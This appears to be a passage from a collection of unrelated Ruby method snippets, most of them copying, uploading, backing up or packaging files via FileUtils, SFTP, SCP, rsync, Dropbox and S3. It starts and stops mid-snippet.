sftp_mkdir_recursive(sftp, File.dirname(to))\n Log.debug1(\"Copying %s to %s\",from, to)\n sftp.upload(from, to)\n }\n uploads.each { |u| u.wait }\n Log.debug1(\"Done.\")\n end # ssh.sftp.connect\n end", "def run\n return unless setup_compilable\n\n @collection.files.values.each do |pointer|\n compiled_file = File.join(@collection.compiled_path, pointer['id'])\n\n FileUtils.mkdir_p File.dirname(compiled_file)\n FileUtils.cp_r pointer['realpath'], compiled_file\n\n Ruhoh::Friend.say { green \" > #{pointer['id']}\" }\n end\n end", "def transfer!\n create_local_directories!\n\n files_to_transfer do |local_file, remote_file|\n Logger.message \"#{storage_name} started transferring '#{ local_file }'.\"\n FileUtils.cp(\n File.join(local_path, local_file),\n File.join(remote_path, remote_file)\n )\n end\n end", "def copy_downloads_to_output_dir\n section_entities.each do |section_id, section_name|\n unit_entities_in_section(section_id).each do |unit_id, unit_name|\n unit_downloads_output_dir = \"#{DOWNLOADS_OUTPUT_DIR}/#{section_id}_#{unit_id}/\"\n FileUtils.mkdir_p unit_downloads_output_dir\n downloads_in_unit(section_id, unit_id).each do |download_name|\n output_path = unit_downloads_output_dir + download_name\n input_path = \"#{unit_path(section_id, unit_id, unit_name)}/downloads/#{download_name}\"\n FileUtils.cp(input_path, output_path)\n end\n end\n end\nend", "def manage_extract_file(action)\n @extract_res.user 'root'\n @extract_res.path %w(/bin /sbin /usr/bin /usr/sbin)\n @extract_res.command tar_command\n @extract_res.creates instance_binary\n @extract_res.returns 0\n @extract_res.timeout 180\n @extract_res.run_action(action)\nend", "def copy(cloud_file, to_path, root=\"auto\")\n payload = {\n root: root,\n from_path: cloud_file.path,\n to_path: to_path\n }\n\n connexion = Dropbox.start(:copy, access_token)\n res = connexion.post do |req|\n req.url \"fileops/copy\"\n req.body = payload\n end\n\n response = format_response(res)\n #tree_cache(response)\n end", "def run\n return unless setup_compilable\n\n @collection.files.values.each do |pointer|\n compiled_file = File.join(@collection.compiled_path, pointer['id'])\n FileUtils.mkdir_p File.dirname(compiled_file)\n FileUtils.cp_r pointer['realpath'], compiled_file\n Ruhoh::Friend.say { green \" > #{pointer['id']}\" }\n end\n end", "def copy_files\n @files.each do |file|\n basename = File.basename file\n FileUtils.cp file, @backup_folder + basename if File.file? file\n FileUtils.cp_r file, @backup_folder + basename if File.directory? file\n end\n end", "def download_files\n path = Conf::directories.tmp\n manager = @current_source.file_manager\n manager.start do\n @current_source.folders.each do |folder|\n files = @files[folder]\n puts \"folder => #{folder}, Files => #{files}\" if @opts[:v]\n next if files.empty? \n # download into the TMP directory by folder\n spath = File.join(path, @current_source.name.to_s,folder)\n manager.download_files files,spath,v: true\n move_files folder\n @current_source.schema.insert_files files,folder\n SignalHandler.check { Logger.<<(__FILE__,\"WARNING\",\"SIGINT Catched. Abort.\")}\n end\n end\n end", "def proc_dir_toinst(new_dir, root_new_files)\n @log.debug(\"Processing dir: #{new_dir}\")\n app_dir_dst = File.join(@target_app_root_path, @app_root_subfolder)\n old_dest_dir = File.join(app_dir_dst, new_dir)\n if File.directory?(old_dest_dir)\n # old dir backup\n time_form = Time.now.strftime(\"%y%m%d%H%M%S\")\n old_dest_bckdir = \"#{old_dest_dir}_#{time_form}\"\n FileUtils.mv(old_dest_dir, old_dest_bckdir)\n @log.info(\"moved directory #{old_dest_dir} to backup dir #{old_dest_bckdir}\")\n else\n @log.debug(\"#{old_dest_dir} not a directory\")\n end\n # copy source directory in to destination recursively\n src_dir = File.join(root_new_files, new_dir)\n FileUtils.cp_r(src_dir ,old_dest_dir)\n @log.debug(\"Copy dir #{src_dir} to #{old_dest_dir}\")\n end", "def deploy!\n if copy_cache\n if File.exists?(copy_cache)\n logger.debug \"refreshing local cache to revision #{revision} at #{copy_cache}\"\n system(source.sync(revision, copy_cache))\n else\n logger.debug \"preparing local cache at #{copy_cache}\"\n system(source.checkout(revision, copy_cache))\n end\n\n # Check the return code of last system command and rollback if not 0\n unless $? == 0\n raise Capistrano::Error, \"shell command failed with return code #{$?}\"\n end\n\n FileUtils.mkdir_p(destination)\n\n logger.debug \"copying cache to deployment staging area #{destination}\"\n Dir.chdir(copy_cache) do\n queue = Dir.glob(\"*\", File::FNM_DOTMATCH)\n while queue.any?\n item = queue.shift\n name = File.basename(item)\n\n next if name == \".\" || name == \"..\"\n next if copy_exclude.any? { |pattern| File.fnmatch(pattern, item) }\n\n if File.symlink?(item)\n FileUtils.ln_s(File.readlink(item), File.join(destination, item))\n elsif File.directory?(item)\n queue += Dir.glob(\"#{item}/*\", File::FNM_DOTMATCH)\n FileUtils.mkdir(File.join(destination, item))\n else\n FileUtils.ln(item, File.join(destination, item))\n end\n end\n end\n else\n logger.debug \"getting (via #{copy_strategy}) revision #{revision} to #{destination}\"\n system(command)\n\n if copy_exclude.any?\n logger.debug \"processing exclusions...\"\n if copy_exclude.any?\n copy_exclude.each do |pattern|\n delete_list = Dir.glob(File.join(destination, pattern), File::FNM_DOTMATCH)\n # avoid the /.. trap that deletes the parent directories\n delete_list.delete_if { |dir| dir =~ /\\/\\.\\.$/ }\n FileUtils.rm_rf(delete_list.compact)\n end\n end\n end\n end\n\n # merge stuffs under specific dirs\n if configuration[:merge_dirs]\n configuration[:merge_dirs].each do |dir, dest|\n from = Pathname.new(destination) + dir\n to = Pathname.new(destination) + dest\n logger.trace \"#{from} > #{to}\"\n FileUtils.mkdir_p(to)\n FileUtils.cp_r(Dir.glob(from), to)\n end\n end\n\n # for a rails application in sub directory\n # set :deploy_subdir, \"rails\"\n if configuration[:deploy_subdir]\n subdir = configuration[:deploy_subdir]\n logger.trace \"deploy subdir #{destination}/#{subdir}\"\n Dir.mktmpdir do |dir|\n FileUtils.move(\"#{destination}/#{subdir}\", dir)\n FileUtils.rm_rf destination rescue nil\n FileUtils.move(\"#{dir}/#{subdir}\", \"#{destination}\")\n end\n end\n\n File.open(File.join(destination, \"REVISION\"), \"w\") { |f| f.puts(revision) }\n\n logger.trace \"compressing #{destination} to #{filename}\"\n Dir.chdir(copy_dir) { system(compress(File.basename(destination), File.basename(filename)).join(\" \")) }\n\n distribute!\n ensure\n puts $! if $!\n FileUtils.rm filename rescue nil\n FileUtils.rm_rf destination rescue nil\n FileUtils.rm_rf copy_subdir rescue nil\n end", "def run_dir(root)\n\tDir.foreach(root) { |fn|\n\t\tnext if fn == \".\" || fn == \"..\"\n\t\tcombined = File.join(root, fn)\n\t\tif File.directory?(combined)\n\t\t\trun_dir(combined)\n\t\telsif File.file?(combined) && (fn[\".dll\"] || fn[\".pdb\"])\n\t\t\tfpath = combined\n\t\t\tfpath = fpath[2..-1] if fpath[0..1] == \"./\"\n\t\t\tfpath = fpath.gsub(\"/\", \"\\\\\")\n\t\t\tprint(\"#{fpath}\\n\")\n\t\t\t`compress -R #{fpath}`\n\t\t\texit(1) if $?.exitstatus != 0\n\t\t\t`del #{fpath}`\n\t\tend\n\t}\t\nend", "def copy files, host, dir\n dest = \"#{dir}/#{host}\"\n File.directory?(dest) || mkdir_p(dest)\n #puts \"Connecting to #{host}\"\n begin\n Net::SFTP.start(host, \"root\", :auth_methods => [\"publickey\"], :keys => [$key], :timeout => 1) do |sftp|\n files.each do |file|\n begin\n dir = File.dirname \"#{dest}/#{file}\"\n stats = sftp.stat! file\n if stats\n File.directory?(dir) || mkdir_p(dir)\n if stats.directory?\n sftp.download! file, \"#{dest}/#{file}\", :recursive => true\n chmod stats.permissions, \"#{dest}/#{file}\"\n else\n sftp.download! file, \"#{dest}/#{file}\"\n chmod stats.permissions, \"#{dest}/#{file}\"\n end\n touch \"#{dest}/.completed\" #at least one copied file. Too intensive?\n end\n rescue\n #puts \"Next for #{file}\"\n next #file does not exist\n end\n end\n end\n rescue Net::SFTP::Exception => e\n puts \"#{host} sftp exception: #{e}\"\n return false\n #rescue Net::SCP::Error => e\n # puts \"#{host} scp error: #{e}\"\n # return false\n rescue Timeout::Error => e\n puts \"#{host} timeout: #{e}\"\n return false\n rescue Errno::ECONNREFUSED => e\n puts \"#{host} refused: #{e}\"\n return false\n rescue SocketError => e\n puts \"#{host} resolve: #{e}\"\n return false\n rescue Net::SSH::AuthenticationFailed => e\n puts \"#{host} auth failed: #{e}\"\n return false\n rescue Net::SSH::Disconnect => e\n puts \"#{host} disconnected: #{e}\"\n return false #no access to host\n end\n return true\nend", "def run\n Execution.block 'Creating a custom file', @target, 'root' do |b|\n b.always_run true\n b.run \"mkdir -p #{::File.dirname(@target)}\"\n ::File.open(@target, 'w+') { |file| file.write @content }\n b.run \"chown #{@owner}:#{@owner} #{::File.dirname(@target)}\"\n b.run \"chown #{@owner}:#{@owner} #{@target}\"\n b.run \"chmod #{unix_mode} #{@target}\"\n end\n end", "def prepare_for_configuration \n # clear_base_directory\n make_base_directory\n copy_misc_templates\n copy_custom_monitors\n store_keys_in_file\n Script.save!(self)\n # not my favorite...\n copy_ssh_key\n before_configuration_tasks\n end", "def copy_assets\r\n FileUtils.cd('view') do\r\n %w[style.css napoli.png ferraro.svg].each do |name|\r\n FileUtils.cp(name, File.join('..', 'output', name))\r\n end\r\n end\r\nend", "def do_processing()\n result = create_root_keychain\n Utilities.bail(\"create_root_keychain failed\") if result != 0\n Utilities.bail(\"create_setting_file failed\") if create_setting_file != 0\n add_roots()\n Utilities.bail(\"create_temp_keychain failed\") if create_temp_keychain != 0\n distrust_certs()\n revoked_certs()\n delete_temp_keychain()\n Utilities.bail(\"check_all_roots_added failes\") if !check_all_roots_added\n set_file_priv()\n end", "def cp (from, to, as: user, on: hosts, quiet: false, once: nil, delete: false)\n self.once once, quiet: quiet do\n log.info \"cp: #{from} -> #{to}\", quiet: quiet do\n Dir.chdir File.dirname(file) do\n hash_map(hosts) do |host|\n host.cp from, to, as: as, quiet: quiet, delete: delete\n end\n end\n end\n end\n end", "def copy_files_to_current_path()\n require 'fileutils'\n @files.each do |f|\n FileUtils::cp(f,'./')\n end\n end", "def prepare_tmpdirs(data)\n data[:files].each do |file|\n targetdir = File.join(@workingdir, File.dirname(File.expand_path(file)).gsub(@package.target_path, \"\"))\n FileUtils.mkdir_p(targetdir) unless File.directory? targetdir\n FileUtils.cp_r(file, targetdir)\n end\n end", "def install\n backupdir = BackupDir.new(\"./vim-ruby-backup.#{Process.pid}\")\n Dir.chdir(@source_dir) do\n SOURCE_FILES.each do |path|\n\tsource_path = Pathname.new(path)\n\ttarget_path = @target_dir[path]\n\t# FIXME: Backup everything for now\n\tif $options[:backup] and target_path.file?\n\t backupdir.backup(@target_dir, path)\n\telsif target_path.file? and target_path.mtime > source_path.mtime\n\t # We're going to overwrite a newer file; back it up, unless they're the same.\n\t unless _same_contents?(target_path, source_path)\n\t backupdir.backup(@target_dir, path)\n\t end\n\tend\n\t@target_dir.copy(path)\n end\n end\n backups = backupdir.contents\n unless backups.empty?\n puts\n puts \"The following backups were made:\"\n backups.each do |path|\n\tputs \" * #{path}\"\n end\n puts\n puts \"These backups are located in this directory: #{backupdir.path}\"\n end\n end", "def upload\n @files.each do |fn|\n sh %{scp -q #{@local_dir}/#{fn} #{@host}:#{@remote_dir}}\n end\n end", "def run\n executor.run\n @files\n end", "def mirror_engine_files\n \n begin\n initialize_base_public_directory\n \n log.debug \"Attempting to copy public engine files from '#{source_public_dir}'\"\n \n # if there is no public directory, just return after this file\n return if !File.exist?(source_public_dir)\n\n source_files = Dir[source_public_dir + \"/**/*\"]\n source_dirs = source_files.select { |d| File.directory?(d) }\n source_files -= source_dirs \n \n log.debug \"source dirs: #{source_dirs.inspect}\"\n\n # Create the engine_files/<something>_engine dir if it doesn't exist\n if !File.exists?(self.destination_public_dir)\n # Create <something>_engine dir with a message\n log.debug \"Creating #{self.destination_public_dir} public dir\"\n FileUtils.mkdir_p(self.destination_public_dir)\n end\n\n # create all the directories, transforming the old path into the new path\n source_dirs.uniq.each { |dir|\n begin \n # strip out the base path and add the result to the public path, i.e. replace \n # ../script/../vendor/plugins/engine_name/public/javascript\n # with\n # engine_name/javascript\n #\n relative_dir = dir.gsub(File.join(root, \"public\"), name)\n target_dir = File.join(Engines.public_dir, relative_dir)\n unless File.exist?(target_dir)\n log.debug \"Creating directory '#{target_dir}'\"\n FileUtils.mkdir_p(target_dir)\n end\n rescue Exception => e\n raise \"Could not create directory #{target_dir}: \\n\" + e\n end\n }\n\n # copy all the files, transforming the old path into the new path\n source_files.uniq.each { |file|\n begin\n # change the path from the ENGINE ROOT to the public directory root for this engine\n target = file.gsub(File.join(root, \"public\"), destination_public_dir)\n unless File.exist?(target) && FileUtils.identical?(file, target)\n log.debug \"copying file '#{file}' to '#{target}'\"\n FileUtils.cp(file, target)\n end \n rescue Exception => e\n raise \"Could not copy #{file} to #{target}: \\n\" + e \n end\n }\n rescue Exception => e\n log.warn \"WARNING: Couldn't create the engine public file structure for engine '#{name}'; Error follows:\"\n log.warn e\n end\n end", "def copy_assets; end", "def transfer!\n write_password_file! unless local\n\n remote_path = remote_path_for(@package)\n\n create_remote_path!(remote_path)\n\n files_to_transfer_for(@package) do |local_file, remote_file|\n if local\n Logger.info \"#{storage_name} started transferring \" +\n \"'#{ local_file }' to '#{ remote_path }'.\"\n run(\n \"#{ utility(:rsync) } '#{ File.join(local_path, local_file) }' \" +\n \"'#{ File.join(remote_path, remote_file) }'\"\n )\n else\n Logger.info \"#{storage_name} started transferring \" +\n \"'#{ local_file }' to '#{ ip }'.\"\n run(\n \"#{ utility(:rsync) } #{ rsync_options } #{ rsync_port } \" +\n \"#{ rsync_password_file } '#{ File.join(local_path, local_file) }' \" +\n \"'#{ username }@#{ ip }:#{ File.join(remote_path, remote_file) }'\"\n )\n end\n end\n\n ensure\n remove_password_file! unless local\n end", "def compress_files_and_copy\n timestamp = Time.now.strftime(\"%Y%m%d-%H%M%S\") + '_'\n tar_file = @backup_folder + timestamp + \"syc-backup.tar.gz\" \n tar_command = \"tar cfz #{tar_file} #{@files.join(\" \")}\"\n\n stdout, stderr, status = Open3.capture3(tar_command)\n\n unless status.exitstatus == 0\n STDERR.puts \"There was a problem executing command\"\n STDERR.puts tar_command\n STDERR.puts stderr\n exit status.exitstatus\n end\n\n tar_file\n end", "def copy_files\r\n %w{_config.dev.yml about.md feed.xml gulpfile.js index.html}.each do |file|\r\n copy_file file\r\n end\r\n end", "def _init_filesystem\n\t\t# Prepare temporary work directory\n\t\tcommand_send(\"sudo rm -rf /tmp/.captain\")\n\t\tcommand_send(\"mkdir -p /tmp/captain/transfers\")\n\t\tcommand_send(\"mkdir -p /tmp/captain/checkpoints/export\")\n\t\tcommand_send(\"mkdir -p /tmp/captain/checkpoints/import\")\n\tend", "def make_copy_file_tasks\n @files.each do |source, destination|\n next if source == destination\n next if Rake::FileTask.task_defined? destination\n type = File.directory?(source) ? 'folder' : 'file'\n task = Rake::FileTask.define_task destination do |t|\n folder = File.dirname(t.name)\n FileUtils.mkpath folder unless File.directory? folder\n FileUtils.copy source, t.name\n end\n task.comment = \"Create the #{destination} #{type}\"\n task.enhance ['wix']\n if Rake::FileTask.task_defined? source\n task.enhance [source]\n end\n end\n end", "def store_backup\n ret = true\n base = Util.data_path(EMMConfig[\"DATA_BACK_DIR\"])\n $files.each do |f|\n # directory of the file \n # LSMSS10, LSMSS30 , etc\n dir = File.basename(File.expand_path(\"#{f}/..\"))\n back_path = base + \"/\" + dir + \"/\" + File.basename(f)\n cmd = \"mv #{f} #{back_path}\"\n unless system(cmd)\n $stderr.puts \"Move #{cmd} did not work ... Next\" if $opts[:v]\n ret = false\n next\n end\n\n # compress the file\n cmd = EMMConfig[\"COMPRESS\"] + \" #{back_path}\"\n unless system(cmd)\n $stderr.puts \"Compress #{cmd} did not work ... Next\" if $opts[:v]\n ret = false\n next\n end\n end \n ret\nend", "def run\n FileUtils.mkdir_p @data\n FileUtils.mkdir_p @caches\n FileUtils.mkdir_p @commit\n\n cached = CACHEDIRS.select { |path| File.exists? File.join(path, TARBALL) }\n if cached.any?\n untar! File.join(cached.first, TARBALL)\n else\n file = cache_tarball! download\n untar! file\n end\n\n configure!\n\n # will start Cassandra process\n super\n\n # wait for Cassandra to say it's ready\n @mutex.synchronize do @cv.wait @mutex end\n end", "def prepare_dirs\n require 'fileutils'\n recipe = File.join(@data_dir, '/test/integration/test_recipe.rb')\n\n FileUtils.chmod(755, exec_order)\n FileUtils.chown_R('vagrant', 'vagrant', '/home/oneops')\n FileUtils.mkdir_p(\"/home/oneops/#{@circuit}/components/cookbooks\")\n FileUtils.mkdir_p('/home/oneops/shared/cookbooks/test/recipes')\n FileUtils.cp_r(recipe, '/home/oneops/shared/cookbooks/test/recipes/')\n end", "def create_work\n @files.each do |file|\n executor.queue do\n chown(file)\n chmod(file)\n end\n end\n end", "def prepare(ant)\n @directory.ensure_directory\n \n ant.copy(:todir => @directory.to_s, :overwrite => false) {\n ant.fileset(:dir => @static_resources.terracotta_home_template_directory.to_s) {\n ant.exclude(:name => '.svn/**')\n }\n }\n \n self\n end", "def transfer_and_cleanup_with_block\n direct_upload_url_data = self.get_direct_upload_url\n\n return if direct_upload_url_data.nil?\n\n s3 = AWS::S3.new\n\n type = self.get_uploaded_type\n\n # paperclip_file_path = \"documents/uploads/#{id}/original/#{direct_upload_url_data[:filename]}\"\n paperclip_file_path = eval(\"self.#{type}.path\")\n s3.buckets[S3DirectUpload.config.bucket].objects[paperclip_file_path].copy_from(direct_upload_url_data[:path])\n\n yield (type)\n\n s3.buckets[S3DirectUpload.config.bucket].objects[direct_upload_url_data[:path]].delete\n end", "def dir_upload(*paths); net_scp_transfer!(:upload, true, *paths); end", "def copy_depdencies(source_dir, target_dir, &block)\n\tdependecyManager = DependencyManager.new(source_dir, target_dir)\n\tdependecyManager.instance_eval(&block)\n\tdependecyManager.perform_file_copy\nend", "def fetch\n log.info(log_key) { \"Copying from `#{source_path}'\" }\n\n create_required_directories\n FileSyncer.sync(source_path, project_dir, source_options)\n # Reset target shasum on every fetch\n @target_shasum = nil\n target_shasum\n end", "def copy_files(srcGlob, targetDir, taskSymbol)\n mkdir_p targetDir\n FileList[srcGlob].each do |f|\n target = File.join targetDir, File.basename(f)\n file target => [f] do |t|\n cp f, target\n end\n task taskSymbol => target\n end\nend", "def setup\n\n for i in 1..ROOT_FILES_X\n File.open(\"/rootfilex#{i}.txt\", 'w+').chmod(0777) #Just using random permissions aside from having world execute bit included or not\n # puts \"rootfilex#{i}.txt\"\n end\n\n for i in (ROOT_FILES_X + 1)..(ROOT_FILES + ROOT_FILES_X)\n File.open(\"/rootfile#{i}.txt\", 'w+').chmod(0660)\n # puts \"rootfile#{i}.txt\"\n end\n\n for i in 1..HIDDEN_FILES_X\n File.open(\"/.hiddenfilex#{i}\", 'w+').chmod(0555)\n # puts \".hiddenfile#{i}\"\n end\n\n for i in (HIDDEN_FILES_X + 1)..(HIDDEN_FILES + HIDDEN_FILES)\n File.open(\"/.hiddenfile#{i}\", 'w+').chmod(0442)\n # puts \".hiddenfile#{i}\"\n end\n\n make_test_dirs_with_files(\"/\", 1)\n\n end", "def prepare_pester_tests\n info(\"Preparing to copy files from '#{suite_test_folder}' to the SUT.\")\n sandboxed_suites_path = File.join(sandbox_path, \"suites\")\n copy_if_src_exists(suite_test_folder, sandboxed_suites_path)\n end", "def copy_files\n message \"Checking for existing #{@@app_name.capitalize} install in #{install_directory}\"\n files_yml = File.join(install_directory,'installer','files.yml')\n old_files = read_yml(files_yml) rescue Hash.new\n \n message \"Reading files from #{source_directory}\"\n new_files = sha1_hash_directory_tree(source_directory)\n new_files.delete('/config/database.yml') # Never copy this.\n \n # Next, we compare the original install hash to the current hash. For each\n # entry:\n #\n # - in new_file but not in old_files: copy\n # - in old files but not in new_files: delete\n # - in both, but hash different: copy\n # - in both, hash same: don't copy\n #\n # We really should add a third hash (existing_files) and compare against that\n # so we don't overwrite changed files.\n\n added, changed, deleted, same = hash_diff(old_files, new_files)\n \n if added.size > 0\n message \"Copying #{added.size} new files into #{install_directory}\"\n added.keys.sort.each do |file|\n message \" copying #{file}\"\n copy_one_file(file)\n end\n end\n \n if changed.size > 0\n message \"Updating #{changed.size} files in #{install_directory}\"\n changed.keys.sort.each do |file|\n message \" updating #{file}\"\n copy_one_file(file)\n end\n end\n \n if deleted.size > 0\n message \"Deleting #{deleted.size} files from #{install_directory}\"\n \n deleted.keys.sort.each do |file|\n message \" deleting #{file}\"\n rm(File.join(install_directory,file)) rescue nil\n end\n end\n \n write_yml(files_yml,new_files)\n end", "def transfer!\n backup = connection.backups.create\n Logger.info \"Created backup [#{backup.id}]\"\n\n package.filenames.each do |filename|\n src = File.join(Config.tmp_path, filename)\n metadata = {}\n\n [:sha512sum, :sha1sum, :cksum].each do |cmd|\n if !`which #{cmd}`.empty?\n metadata[cmd] = %x|#{cmd} #{src}|.split.first\n break\n end\n end\n\n metadata[:size] = %x|ls -sh #{src}|.split.first\n\n backup_file = backup.files.create(filename: src, metadata: metadata)\n Logger.info \"Created backup file [#{backup_file.id}]\"\n\n Logger.info \"EngineYard performing upload of '#{File.join(src)}' to '#{backup_file.upload_url}' with metadata '#{metadata.inspect}'.\"\n\n backup_file.upload(file: src)\n end\n Logger.info \"Finished uploading files for backup [#{backup.id}]\"\n\n backup.finish!\n\n Logger.info \"Finished backup [#{backup.id}]\"\n end", "def upload from_path, to_path, options={}, &block\n to_path = \"#{@host}:#{to_path}\"\n Sunshine.logger.info @host, \"Uploading #{from_path} -> #{to_path}\" do\n execute rsync_cmd(from_path, to_path, options), &block\n end\n end", "def transfer!\n remote_path = remote_path_for(@package)\n\n files_to_transfer_for(@package) do |local_file, remote_file|\n Logger.info \"#{ storage_name } started transferring '#{ local_file }'.\"\n\n uploader, retries = nil, 0\n File.open(File.join(local_path, local_file), 'r') do |file|\n uploader = connection.get_chunked_uploader(file, file.stat.size)\n while uploader.offset < uploader.total_size\n begin\n uploader.upload(1024**2 * chunk_size)\n retries = 0\n # Timeout::Error is not a StandardError under ruby-1.8.7\n rescue StandardError, Timeout::Error => err\n retries += 1\n if retries <= chunk_retries\n Logger.info \"Chunk retry #{ retries } of #{ chunk_retries }.\"\n sleep(retry_waitsec)\n retry\n end\n raise Errors::Storage::Dropbox::TransferError.\n wrap(err, 'Dropbox upload failed!')\n end\n end\n end\n\n uploader.finish(File.join(remote_path, remote_file))\n end\n end", "def stage_copy(source_dir)\n test_dir = File.dirname(caller[0])\n stage_clear\n srcdir = File.join(test_dir, source_dir)\n Dir[File.join(srcdir, '*')].each do |path|\n FileUtils.cp_r(path, '.')\n end\n end", "def post_process\n bind_files\n make_tasks\n end", "def upload_file_to_guest(local_path, guest_path, quiet=false)\n\n # 1 copy to tmp location in .ievms\n FileUtils.cp local_path, File.join(IEVMS_HOME,File.basename(local_path))\n\n # 2 run cp command in machine\n log_stdout \"Copying #{local_path} to #{guest_path}\", quiet\n guestcontrol_exec \"cmd.exe\", \"cmd.exe /c copy \\\"E:\\\\#{File.basename(local_path)}\\\" \\\"#{guest_path}\\\"\"\n\n # 3 remove tmp file in .ievms\n FileUtils.rm File.join(IEVMS_HOME,File.basename(local_path))\n end", "def copy_etch_files(destdir, options={})\n if options[:bindir]\n bindir = File.join(destdir, options[:bindir])\n mkdir_p(bindir)\n binapps = ['etch', 'etch_to_trunk', 'etch_cron_wrapper']\n binapps.each do |binapp|\n if options[:ruby]\n # Change #! line\n File.open(File.join(bindir, binapp), 'w') do |newfile|\n File.open(File.join('bin', binapp)) do |oldfile|\n # Modify the first line\n firstline = oldfile.gets\n # Preserve any options. I.e. #!/usr/bin/ruby -w\n shebang, shebangopts = firstline.split(' ', 2)\n newfile.puts \"#!#{options[:ruby]} #{shebangopts}\"\n # Then dump in the rest of the file\n newfile.write(oldfile.read)\n end\n end\n else\n cp(File.join('bin', binapp), bindir, :preserve => true)\n end\n chmod(0555, File.join(bindir, binapp))\n end\n end\n \n if options[:libdir]\n libdir = File.join(destdir, options[:libdir])\n mkdir_p(libdir)\n mkdir_p(File.join(libdir, 'etch'))\n \n # Substitute ETCHVER into etch/client.rb\n # Substitute proper path into CONFIGDIR in etch/client.rb if appropriate\n File.open(File.join(libdir, 'etch', 'client.rb'), 'w') do |newfile|\n IO.foreach(File.join('etch', 'client.rb')) do |line|\n if line =~ /^\\s*VERSION/\n line.sub!(/=.*/, \"= '#{ETCHVER}'\")\n end\n if options[:etcdir] && line =~ /^\\s*CONFIGDIR/\n line.sub!(/=.*/, \"= '#{options[:etcdir]}'\")\n end\n newfile.write(line)\n end\n end\n chmod(0444, File.join(libdir, 'etch', 'client.rb'))\n \n serverlibs = ['etch.rb', 'silently.rb', 'versiontype.rb']\n serverlibs.each do |serverlib|\n cp(File.join('..', 'server', 'lib', serverlib), libdir, :preserve => true)\n chmod(0444, File.join(libdir, serverlib))\n end\n end\n \n if options[:mandir]\n mandir = File.join(destdir, options[:mandir])\n man8dir = File.join(mandir, 'man8')\n mkdir_p(man8dir)\n cp(File.join('man', 'man8', 'etch.8'), man8dir, :preserve => true)\n chmod(0444, File.join(man8dir, 'etch.8'))\n end\n \n if options[:etcdir]\n etcdir = File.join(destdir, options[:etcdir])\n mkdir_p(etcdir)\n cp(File.join('etc', 'etch.conf'), etcdir, :preserve => true)\n chmod(0644, File.join(etcdir, 'etch.conf'))\n # All of the supporting config files go into a subdirectory\n etcetchdir = File.join(etcdir, 'etch')\n mkdir_p(etcetchdir)\n etcetchfiles = ['ca.pem', 'dhparams']\n etcetchfiles.each do |etcetchfile|\n cp(File.join('etc', 'etch', etcetchfile), etcetchdir, :preserve => true)\n chmod(0644, File.join(etcetchdir, etcetchfile))\n end\n end\n \n if options[:crondir]\n crondir = File.join(destdir, options[:crondir])\n mkdir_p(crondir)\n cp(File.join('etc', 'cron.d', 'etch'), crondir, :preserve => true)\n chmod(0444, File.join(crondir, 'etch'))\n end\nend", "def copy_content(industry)\n\n puts \"copying content...\"\n client = user_client\n threads = []\n\n # get \"My Files\" and \"Shared Files\" folder objects\n myFolder = Rails.cache.fetch(\"/folder/#{session[:box_id]}/my_folder\", :expires_in => 10.minutes) do\n client.folder_from_path('My Files')\n end\n myFolderContents = client.folder_items(myFolder, fields: [:id, :type])\n\n sharedFolder = Rails.cache.fetch(\"/folder/#{session[:box_id]}/shared_folder\", :expires_in => 10.minutes) do\n client.folder_from_path(\"#{session[:userinfo]['info']['name']} - Shared Files\")\n end\n sharedFolderContents = client.folder_items(sharedFolder, fields: [:id]).files\n\n # delete vault folder contents\n myFolderContents.each do |f|\n if (f.type == \"folder\")\n client.delete_folder(f, recursive: true)\n else\n client.delete_file(f)\n end\n end\n\n sharedFolderContents.each do |f|\n threads << Thread.new do\n client.delete_file(f)\n end\n end\n\n threads.each { |thr| thr.join }\n\n # fetch industry folder items\n case industry\n when \"finserv\"\n industryParentItems = client.folder_items(ENV['FINSERV_VAULT_CONTENT'], fields: [:id, :type])\n when \"healthcare\"\n industryParentItems = client.folder_items(ENV['HEALTHCARE_VAULT_CONTENT'], fields: [:id, :type])\n when \"insurance\"\n industryParentItems = client.folder_items(ENV['INSURANCE_VAULT_CONTENT'], fields: [:id, :type])\n when \"nonprofit\"\n industryParentItems = client.folder_items(ENV['NONPROFIT_VAULT_CONTENT'], fields: [:id, :type])\n else\n end\n\n # copy industry folder items over\n industryParentItems.each do |f|\n threads << Thread.new do\n if f.type == \"folder\"\n client.copy_folder(f, myFolder)\n else\n client.copy_file(f, myFolder)\n end\n end\n end\n\n threads.each { |thr| thr.join }\n\n end", "def package_files\n Dir.mktmpdir {|tmpdir|\n @stemcell_files.flatten.each {|file| FileUtils.cp(file, tmpdir) if file && File.exists?(file) } # only copy files that are not nil\n Dir.chdir(tmpdir) do\n @logger.info(\"Package #@stemcell_files to #@target ...\")\n sh \"tar -czf #@target *\", {:on_error => \"unable to package #@stemcell_files into a stemcell\"}\n end\n }\n @target\n end", "def package_files\n Dir.mktmpdir {|tmpdir|\n @stemcell_files.flatten.each {|file| FileUtils.cp(file, tmpdir) if file && File.exists?(file) } # only copy files that are not nil\n Dir.chdir(tmpdir) do\n @logger.info(\"Package #@stemcell_files to #@target ...\")\n sh \"tar -czf #@target *\", {:on_error => \"unable to package #@stemcell_files into a stemcell\"}\n end\n }\n @target\n end", "def copy_files (infiles)\n @log.d(\"Backing up files...\");\n htfiles = [];\n backup_dir = @ht_backup_dir + Time.new().strftime(\"%Y%m%d\");\n infiles.each do |infile|\n ht_file = @ht_dir + infile.split('/').last;\n # Check if file exists in ht00x\n if File.exists?(ht_file) then\n # If so, back it up.\n FileUtils.mkdir_p(backup_dir);\n @log.d(\"cp #{ht_file} #{backup_dir}\");\n if @dry_run == false then\n FileUtils.cp(ht_file, backup_dir);\n end\n end\n # Overwrite with one from memberdata (copy)\n @log.d(\"cp #{infile} #{ht_file}\");\n if @dry_run == false then\n FileUtils.cp(infile, ht_file);\n end\n htfiles << ht_file;\n end\n\n return htfiles;\nend", "def rsync_to_temp\n\t\tputs \"\\n=> copying to temp dir.\\n\"\n\t\tself.rsync_str(@@opt_rsync, @@dir_src, @@dir_temp)\n\tend", "def run\n blocks if config[:blocks]\n inodes if config[:inodes]\n check_blocks_and_inodes\n end", "def copy_libs\n path_to_original_lib = File.dirname(__FILE__) # File.dirname(__FILE__) is the location of this file, that give the path of the main lib folder\n libs_to_copy = ['log.rb', 'files_manager.rb', 'command.rb'] # List of Libraries copied in the project folder for standalone run\n libs_dest_dir = \"#{@project_path}/#{@libdir}\" # Dir used to store libraries, to run the rakefile\n lib_dir = File.expand_path(libs_dest_dir) # get the absolute path\n FileUtils.mkdir_p libs_dest_dir # Create the output_dir if it doesn't exist\n for lib in libs_to_copy\n lib_file = \"#{path_to_original_lib}/#{lib}\"\n (@log.fatal { \"Workflow Finalisation : cannot copy the library #{lib_file} \" }; exit ) if not 